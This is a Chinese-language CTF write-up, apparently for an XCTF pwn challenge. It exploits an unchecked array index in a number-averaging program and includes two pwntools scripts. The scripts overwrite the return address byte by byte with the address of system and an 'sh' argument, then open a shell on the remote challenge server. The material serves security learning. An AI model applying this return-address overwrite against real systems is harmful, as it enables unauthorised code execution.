先把程序跑一遍看看·~~~~~~~
然后我们好像可以 加数还有 改变数 4功能好像还是 求平均数的 ~~~~ 看来功能还是很齐全的吗~~~~
然后我们
咦 这里的平均数为啥是 2.00呢 ~!~~~~ 带着疑问去 看ida
这里好像没有什么毛病 限制了 输入的数量是99
然后往下看
这里就是bug了 因为我们没有检查v13数组的边界 这里我们可以随意输入 然后劫持程序eip
然后观察 哪里有system_addr 就ok了 但是 这里输入的是数字 好像有点麻烦
因为v13 是char 类型的数组 然后我们试着输入一下
然后 去 栈 会发现
这里其实应该能够注意得到 栈是小段模式 那么我们输入的时候 可以是 反着来 比如地址是 12345678 先输入78 45 34 12
才能返回 正确的地址 然后 我们观察一下 哪里有我们system 的地址
然后我们发现 本次(这个是会变化的 注意是我这次 运行的) 我们的返回地址FFCF77AC 而我们输入的地址是 FFCF7728
那么偏移就是 0x84 然后之后我们找到 system_addr 就ok了
然后就找到了 system_addr
但是感觉这里/bin/bash 有点怪怪的啊~~~
先不管 我们试试
#!/usr/bin/python
#coding:utf-8
from pwn import*
system_addr=0x080485AF
leave_offset=0x84
def write_addr(addr,va):
io.sendline("3")
io.recvuntil("which number to change:\n")
io.sendline(str(addr))
io.recvuntil("new number:\n")
io.sendline(str(va))
io.recvuntil("5. exit\n")
io=remote('111.198.29.45','31725')
io.recvuntil("How many numbers you have:\n")
io.sendline("1")
io.recvuntil("Give me your numbers\n")
io.sendline("1")
io.recvuntil("5. exit\n")
# write system_addr
write_addr(leave_offset,0XAF)
write_addr(leave_offset+1,0X85)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)
io.sendline("5")
io.interactive()
如果你认为 到这就成功了 那就证明 你和我一样的单纯~~~~~~~~~~~~~~~~~~~~
竟然报错了
纳尼?????????? 本来我喜滋滋的准备cat flag 的 没有看到 没有找到那句话。。。。why??
/bin/bash 没有找到? ??????????????? emmmmmmmmmmmmmmmmmmmmmmm
有些奇怪 难道是 要/bin/sh??? 按道理说 不应该啊
然后我 就 无耻的翻了一下题解。。。。。。。。。。。。
这是官方放出的官方题解 https://www.xctf.org.cn/library/details/8723e039db0164e2f7345a12d2edd2a5e800adf7/
然后 这句话 亮了
但是出题人在搭建docker环境时未注意,环境中只给了sh
额 这个 emmmmm 比较可惜啊
没有办法 只能写入sh 了 值得一说的是 不能用原先的那个函数
只能用本来的system 可以我们自己填参数的
就是这个
这个也比较简单 直接放出exp
#!/usr/bin/python
#coding:utf-8
from pwn import*
system_addr=0x080485AF
leave_offset=0x84
def write_addr(addr,va):
io.sendline("3")
io.recvuntil("which number to change:\n")
io.sendline(str(addr))
io.recvuntil("new number:\n")
io.sendline(str(va))
io.recvuntil("5. exit\n")
io=remote('111.198.29.45','31725')
io.recvuntil("How many numbers you have:\n")
io.sendline("1")
io.recvuntil("Give me your numbers\n")
io.sendline("1")
io.recvuntil("5. exit\n")
# write system_addr 0x08048450
write_addr(leave_offset,0X50)
write_addr(leave_offset+1,0X84)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)
# sh_addr 0x08048987
leave_offset+=8
print leave_offset
write_addr(leave_offset,0x87)
write_addr(leave_offset+1,0X89)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)
io.sendline("5")
io.interactive()